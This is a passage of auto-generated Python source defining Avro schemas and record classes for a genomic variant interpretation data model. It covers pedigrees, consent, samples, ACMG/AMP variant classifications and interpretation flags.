"PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null", {"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""}, {"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "variantClassification", "type": ["null", {"type": "record", "name": "VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null", {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name": "drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name": "traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols": ["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc": ""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name": "TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""}, {"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect", "symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant", "loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""}, {"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name": "GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification", "type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols": ["population_data", "computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment", "type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type": "record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies", "potential_germline", "population_database_presence", "germline_database_presence", "somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier", "doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc": ""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name": "algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc": ""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null", "int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name": "Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA", "TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain", "symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}, "doc": ""}, {"name": "variantAttributes", "type": ["null", {"type": "record", "name": "VariantAttributes", "doc": "", "fields": [{"name": "genomicChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null", {"type": "record", "name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""}, {"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name": "alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name": "population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc": ""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name": "recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null", "float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}]}]}}], "doc": ""}, {"name": "structuralVariants", "type": ["null", {"type": "array", "items": {"type": "record", "name": "StructuralVariant", "fields": [{"name": "variantType", "type": {"type": "enum", "name": "StructuralVariantType", "symbols": ["ins", "dup", "inv", "amplification", "deletion", "dup_tandem", "del_me", "ins_me"]}, "doc": ""}, {"name": "coordinates", "type": {"type": "record", "name": "Coordinates", "fields": [{"name": "assembly", "type": "Assembly"}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name": "rightInsSeq", "type": ["null", "string"]}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null", "VariantAttributes"]}]}}], "doc": ""}, {"name": "chromosomalRearrangements", "type": ["null", {"type": "array", "items": {"type": "record", "name": "ChromosomalRearrangement", "fields": [{"name": "breakPoints", "type": ["null", {"type": "array", "items": {"type": "record", "name": "BreakPoint", "fields": [{"name": "coordinates", "type": "Coordinates"}, {"name": "reference", "type": ["null", "string"]}, {"name": "alternate", "type": ["null", "string"]}, {"name": "info", "type": ["null", {"type": "map", "values": "string"}]}]}}]}, {"name": "rearrangements", "type": {"type": "array", "items": {"type": "record", "name": "Rearrangement", "fields": [{"name": "leftCoordinates", "type": "Coordinates"}, {"name": "rightCoordinates", "type": "Coordinates"}, {"name": "orientation", "type": {"type": "enum", "name": "Orientation", "symbols": ["start_start", "start_end", "end_end"]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name": "rightInsSeq", "type": ["null", "string"]}]}}}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null", "VariantAttributes"]}]}}], "doc": ""}, {"name": "shortTandemRepeats", "type": ["null", {"type": "array", "items": {"type": "record", "name": "ShortTandemRepeat", "fields": [{"name": "coordinates", "type": "Coordinates"}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null", "VariantAttributes"]}, {"name": "shortTandemRepeatReferenceData", "type": ["null", {"type": "record", "name": "ShortTandemRepeatReferenceData", "fields": [{"name": "repeatedSequence", "type": "string"}, {"name": "pathogenic_number_of_repeats_threshold", "type": "int"}, {"name": "normal_number_of_repeats_threshold", "type": "int"}]}]}]}}], "doc": ""}, {"name": "uniparentalDisomies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "UniparentalDisomy", "fields": [{"name": "assembly", "type": "Assembly", "doc": ""}, {"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": ["null", "boolean"], "doc": ""}, {"name": "origin", "type": {"type": "enum", "name": "UniparentalDisomyOrigin", "symbols": ["paternal", "maternal", "unknown"]}, "doc": ""}, {"name": "uniparentalDisomyFragments", "type": ["null", {"type": "array", "items": {"type": "record", "name": "UniparentalDisomyFragment", "fields": [{"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name": "uniparentalDisomyType", "type": {"type": "enum", "name": "UniparentalDisomyType", "symbols": ["isodisomy", "heterodisomy", "both"]}, "doc": ""}]}}], "doc": ""}, {"name": "participantId", "type": "string", "doc": ""}, {"name": "uniparentalDisomyEvidences", "type": ["null", {"type": "record", "name": "UniparentalDisomyEvidences", "fields": [{"name": "ibds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "IdentityByDescent", "fields": [{"name": "relatedSample", "type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1", "type": "float"}, {"name": "ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]}}]}]}], "doc": ""}]}}], "doc": ""}, {"name": "karyotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Karyotype", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "aneuploidies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Aneuploidy", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "assembly", "type": "Assembly", "doc": ""}, {"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": "boolean", "doc": ""}, {"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name": "numberOfCopies", "type": "int", "doc": ""}]}}], "doc": ""}, {"name": "numberOfChromosomes", "type": "int", "doc": ""}, {"name": "personKaryotipicSex", "type": "org.gel.models.participant.avro.PersonKaryotipicSex", "doc": ""}, {"name": "participantId", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "referenceDatabasesVersions", "type": {"type": "map", "values": "string"}, "doc": ""}, {"name": "softwareVersions", "type": {"type": "map", "values": "string"}, "doc": ""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}]}]}, {"name": "otherInterpretationResults", "type": ["null", {"type": "array", "items": "InterpretedGenome"}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "interpretationMetaData", "otherInterpretationResults", "tieringResult", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'interpretationMetaData': InterpretationRequestRD, 'otherInterpretationResults': InterpretedGenome, 'tieringResult': InterpretedGenome, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'interpretationMetaData': InterpretationRequestRD, 'otherInterpretationResults': InterpretedGenome, 'tieringResult': InterpretedGenome, } return embeddedTypes[fieldName] __slots__ = [ 'interpretationMetaData', 'otherInterpretationResults', 'tieringResult' ] def __init__(self, **kwargs): self.interpretationMetaData = kwargs.get( 'interpretationMetaData', InterpretationRequestRD()) self.otherInterpretationResults = kwargs.get( 'otherInterpretationResults', None) self.tieringResult = kwargs.get( 'tieringResult', None) class InterpretationFlag(ProtocolElement): """ A given interpretation flag together with an optional description """ _schemaSource = """ {"type": "record", "name": "InterpretationFlag", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "interpretationFlag", "type": {"type": "enum", "name": "InterpretationFlags", "doc": "", "symbols": ["mixed_chemistries", "mixedLab_preparation", "low_tumour_purity", "uniparental_isodisomy", "uniparental_heterodisomy", "unusual_karyotype", "high_cnv_count", "high_estimate_human_contamination_fraction", "mixed_recruiting_gmc", "suspected_mosaicism", "low_quality_sample", "ffpe_tumour_sample", "ff_nano_tumour_sample", "missing_values_for_proband_in_reported_variant", "reissued", "supplementary_report_errors", "internal_use_only", "high_priority", "other"]}, "doc": ""}, {"name": "additionalDescription", "type": ["null", "string"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "additionalDescription", "interpretationFlag", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'additionalDescription', 'interpretationFlag' ] def __init__(self, **kwargs): self.additionalDescription = kwargs.get( 'additionalDescription', None) self.interpretationFlag = kwargs.get( 'interpretationFlag', None) class InterpretationFlags(object): """ Some flags relevant to the interpretation of a case """ mixed_chemistries = "mixed_chemistries" mixedLab_preparation = "mixedLab_preparation" low_tumour_purity = "low_tumour_purity" uniparental_isodisomy = "uniparental_isodisomy" uniparental_heterodisomy = "uniparental_heterodisomy" unusual_karyotype = "unusual_karyotype" high_cnv_count = "high_cnv_count" high_estimate_human_contamination_fraction = "high_estimate_human_contamination_fraction" mixed_recruiting_gmc = "mixed_recruiting_gmc" suspected_mosaicism = "suspected_mosaicism" low_quality_sample = "low_quality_sample" ffpe_tumour_sample = "ffpe_tumour_sample" ff_nano_tumour_sample = "ff_nano_tumour_sample" missing_values_for_proband_in_reported_variant = "missing_values_for_proband_in_reported_variant" reissued = "reissued" supplementary_report_errors = "supplementary_report_errors" internal_use_only = "internal_use_only" high_priority = "high_priority" other = "other" def __hash__(self): return str(self).__hash__() class InterpretationRequestRD(ProtocolElement): """ This record represents basic information for this report """ _schemaSource = """ {"type": "record", "name": "InterpretationRequestRD", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "versionControl", "type": {"type": "record", "name": "ReportVersionControl", "fields": [{"name": "gitVersionControl", "type": "string", "doc": "", "default": "6.0.0"}]}, "doc": ""}, {"name": "interpretationRequestId", "type": "string", "doc": ""}, {"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name": "internalStudyId", "type": "string", "doc": ""}, {"name": "familyInternalId", "type": ["null", "string"], "doc": ""}, {"name": "genomeAssembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}, {"name": "workspace", "type": {"type": "array", "items": "string"}, "doc": ""}, {"name": "bams", "type": ["null", {"type": "array", "items": {"type": "record", "name": "File", "doc": "", "fields": [{"name": "sampleId", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "uriFile", "type": "string", "doc": ""}, {"name": "fileType", "type": {"type": "enum", "name": "FileType", "symbols": ["BAM", "gVCF", "VCF_small", "VCF_somatic_small", "VCF_CNV", "VCF_somatic_CNV", "VCF_SV", "VCF_somatic_SV", "VCF_SV_CNV", "SVG", "ANN", "BigWig", "MD5Sum", "ROH", "OTHER", "PARTITION", "VARIANT_FREQUENCIES", "COVERAGE"]}, "doc": ""}, {"name": "md5Sum", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "vcfs", "type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name": "bigWigs", "type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name": "pedigreeDiagram", "type": ["null", "File"], "doc": ""}, {"name": "annotationFile", "type": ["null", "File"], "doc": ""}, {"name": "otherFiles", "type": ["null", {"type": "map", "values": "File"}], "doc": ""}, {"name": "pedigree", "type": ["null", {"type": "record", "name": "Pedigree", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "versionControl", "type": ["null", {"type": "record", "name": "VersionControl", "fields": [{"name": "GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc": ""}, {"name": "LDPCode", "type": ["null", "string"], "doc": ""}, {"name": "familyId", "type": "string", "doc": ""}, {"name": "members", "type": {"type": "array", "items": {"type": "record", "name": "PedigreeMember", "doc": "", "fields": [{"name": "pedigreeId", "type": ["null", "int"], "doc": ""}, {"name": "isProband", "type": ["null", "boolean"], "doc": ""}, {"name": "participantId", "type": ["null", "string"], "doc": ""}, {"name": "participantQCState", "type": ["null", {"type": "enum", "name": "ParticipantQCState", "doc": "", "symbols": ["noState", "passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation", "queryToGel", "queryToGMC", "failed"]}], "doc": ""}, {"name": "gelSuperFamilyId", "type": ["null", "string"], "doc": ""}, {"name": "sex", "type": {"type": "enum", "name": "Sex", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name": "personKaryotypicSex", "type": ["null", {"type": "enum", "name": "PersonKaryotipicSex", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO", "XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}], "doc": ""}, {"name": "yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name": "fatherId", "type": ["null", "int"], "doc": ""}, {"name": "motherId", "type": ["null", "int"], "doc": ""}, {"name": "superFatherId", "type": ["null", "int"], "doc": ""}, {"name": "superMotherId", "type": ["null", "int"], "doc": ""}, {"name": "twinGroup", "type": ["null", "int"], "doc": ""}, {"name": "monozygotic", "type": ["null", {"type": "enum", "name": "TernaryOption", "doc": "", "symbols": ["yes", "no", "unknown"]}], "doc": ""}, {"name": "adoptedStatus", "type": ["null", {"type": "enum", "name": "AdoptedStatus", "doc": "", "symbols": ["notadopted", "adoptedin", "adoptedout"]}], "doc": ""}, {"name": "lifeStatus", "type": ["null", {"type": "enum", "name": "LifeStatus", "doc": "", "symbols": ["ALIVE", "ABORTED", "DECEASED", "UNBORN", "STILLBORN", "MISCARRIAGE"]}], "doc": ""}, {"name": "consanguineousParents", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "affectionStatus", "type": ["null", {"type": "enum", "name": "AffectionStatus", "doc": "", "symbols": ["UNAFFECTED", "AFFECTED", "UNCERTAIN"]}], "doc": ""}, {"name": "disorderList", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Disorder", "doc": "", "fields": [{"name": "diseaseGroup", "type": ["null", "string"], "doc": ""}, {"name": "diseaseSubGroup", "type": ["null", "string"], "doc": ""}, {"name": "specificDisease", "type": ["null", "string"], "doc": ""}, {"name": "ageOfOnset", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}, {"name": "hpoTermList", "type": ["null", {"type": "array", "items": {"type": "record", "name": "HpoTerm", "doc": "", "fields": [{"name": "term", "type": "string", "doc": ""}, {"name": "termPresence", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "hpoBuildNumber", "type": ["null", "string"], "doc": ""}, {"name": "modifiers", "type": ["null", {"type": "record", "name": "HpoTermModifiers", "fields": [{"name": "laterality", "type": ["null", {"type": "enum", "name": "Laterality", "symbols": ["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name": "progression", "type": ["null", {"type": "enum", "name": "Progression", "symbols": ["PROGRESSIVE", "NONPROGRESSIVE"]}]}, {"name": "severity", "type": ["null", {"type": "enum", "name": "Severity", "symbols": ["BORDERLINE", "MILD", "MODERATE", "SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern", "type": ["null", {"type": "enum", "name": "SpatialPattern", "symbols": ["DISTAL", "GENERALIZED", "LOCALIZED", "PROXIMAL"]}]}]}], "doc": ""}, {"name": "ageOfOnset", "type": ["null", {"type": "enum", "name": "AgeOfOnset", "symbols": ["EMBRYONAL_ONSET", "FETAL_ONSET", "NEONATAL_ONSET", "INFANTILE_ONSET", "CHILDHOOD_ONSET", "JUVENILE_ONSET", "YOUNG_ADULT_ONSET", "LATE_ONSET", "MIDDLE_AGE_ONSET"]}], "doc": ""}]}}], "doc": ""}, {"name": "ancestries", "type": ["null", {"type": "record", "name": "Ancestries", "doc": "", "fields": [{"name": "mothersEthnicOrigin", "type": ["null", {"type": "enum", "name": "EthnicCategory", "doc": "", "symbols": ["D", "E", "F", "G", "A", "B", "C", "L", "M", "N", "H", "J", "K", "P", "S", "R", "Z"]}], "doc": ""}, {"name": "mothersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name": "fathersEthnicOrigin", "type": ["null", "EthnicCategory"], "doc": ""}, {"name": "fathersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name": "chiSquare1KGenomesPhase3Pop", "type": ["null", {"type": "array", "items": {"type": "record", "name": "ChiSquare1KGenomesPhase3Pop", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type": {"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR", "SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name": "KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM", "ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL", "PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}}], "doc": ""}]}], "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name": "ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "", "default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""}, {"name": "samples", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Sample", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}]}}], "doc": ""}, {"name": "inbreedingCoefficient", "type": ["null", {"type": "record", "name": "InbreedingCoefficient", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "program", "type": "string", "doc": ""}, {"name": "version", "type": "string", "doc": ""}, {"name": "estimationMethod", "type": "string", "doc": ""}, {"name": "coefficient", "type": "double", "doc": ""}, {"name": "standardError", "type": ["null", "double"], "doc": ""}]}], "doc": ""}, {"name": "additionalInformation", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}}, "doc": ""}, {"name": "analysisPanels", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AnalysisPanel", "doc": "", "fields": [{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "panelName", "type": "string", "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "reviewOutcome", "type": "string", "doc": ""}, {"name": "multipleGeneticOrigins", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "diseasePenetrances", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DiseasePenetrance", "doc": "", "fields": [{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "penetrance", "type": {"type": "enum", "name": "Penetrance", "doc": "", "symbols": ["complete", "incomplete"]}, "doc": ""}]}}], "doc": ""}, {"name": "readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "familyQCState", "type": ["null", {"type": "enum", "name": "FamilyQCState", "doc": "", "symbols": ["noState", "passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation", "queryToGel", "queryToGMC", "failed"]}], "doc": ""}]}], "doc": ""}, {"name": "otherFamilyHistory", "type": ["null", {"type": "record", "name": "OtherFamilyHistory", "doc": "", "fields": [{"name": "maternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "paternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}]}], "doc": ""}, {"name": "genePanelsCoverage", "type": ["null", {"type": "map", "values": {"type": "map", "values": {"type": "map", "values": "float"}}}], "doc": ""}, {"name": "interpretationFlags", "type": ["null", {"type": "array", "items": {"type": "record", "name": "InterpretationFlag", "doc": "", "fields": [{"name": "interpretationFlag", "type": {"type": "enum", "name": "InterpretationFlags", "doc": "", "symbols": ["mixed_chemistries", "mixedLab_preparation", "low_tumour_purity", "uniparental_isodisomy", "uniparental_heterodisomy", "unusual_karyotype", "high_cnv_count", "high_estimate_human_contamination_fraction", "mixed_recruiting_gmc", "suspected_mosaicism", "low_quality_sample", "ffpe_tumour_sample", "ff_nano_tumour_sample", "missing_values_for_proband_in_reported_variant", "reissued", "supplementary_report_errors", "internal_use_only", "high_priority", "other"]}, "doc": ""}, {"name": "additionalDescription", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "additionalInfo", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "additionalInfo", "annotationFile", "bams", "bigWigs", "familyInternalId", "genePanelsCoverage", "genomeAssembly", "internalStudyId", "interpretationFlags", "interpretationRequestId", "interpretationRequestVersion", "otherFamilyHistory", "otherFiles", "pedigree", "pedigreeDiagram", "vcfs", "versionControl", "workspace", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'annotationFile': File, 'bams': File, 'bigWigs': File, 'interpretationFlags': InterpretationFlag, 'otherFamilyHistory': OtherFamilyHistory, 'otherFiles': File, 'pedigree': Pedigree, 'pedigreeDiagram': File, 'vcfs': File, 'versionControl': ReportVersionControl, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'annotationFile': File, 'bams': File, 'bigWigs': File, 'interpretationFlags': InterpretationFlag, 'otherFamilyHistory': OtherFamilyHistory, 'otherFiles': File, 'pedigree': Pedigree, 'pedigreeDiagram': File, 'vcfs': File, 'versionControl': ReportVersionControl, } return embeddedTypes[fieldName] __slots__ = [ 'additionalInfo', 'annotationFile', 'bams', 'bigWigs', 'familyInternalId', 'genePanelsCoverage', 'genomeAssembly', 'internalStudyId', 'interpretationFlags', 'interpretationRequestId', 'interpretationRequestVersion', 'otherFamilyHistory', 'otherFiles', 'pedigree', 'pedigreeDiagram', 'vcfs', 'versionControl', 'workspace' ] def __init__(self, **kwargs): self.additionalInfo = kwargs.get( 'additionalInfo', None) self.annotationFile = kwargs.get( 'annotationFile', None) self.bams = kwargs.get( 'bams', None) self.bigWigs = kwargs.get( 'bigWigs', None) self.familyInternalId = kwargs.get( 'familyInternalId', None) self.genePanelsCoverage = kwargs.get( 'genePanelsCoverage', None) self.genomeAssembly = kwargs.get( 'genomeAssembly', None) self.internalStudyId = kwargs.get( 'internalStudyId', None) self.interpretationFlags = kwargs.get( 'interpretationFlags', None) self.interpretationRequestId = kwargs.get( 'interpretationRequestId', None) self.interpretationRequestVersion = kwargs.get( 'interpretationRequestVersion', None) self.otherFamilyHistory = kwargs.get( 'otherFamilyHistory', None) self.otherFiles = kwargs.get( 'otherFiles', None) self.pedigree = kwargs.get( 'pedigree', None) self.pedigreeDiagram = kwargs.get( 'pedigreeDiagram', None) self.vcfs = 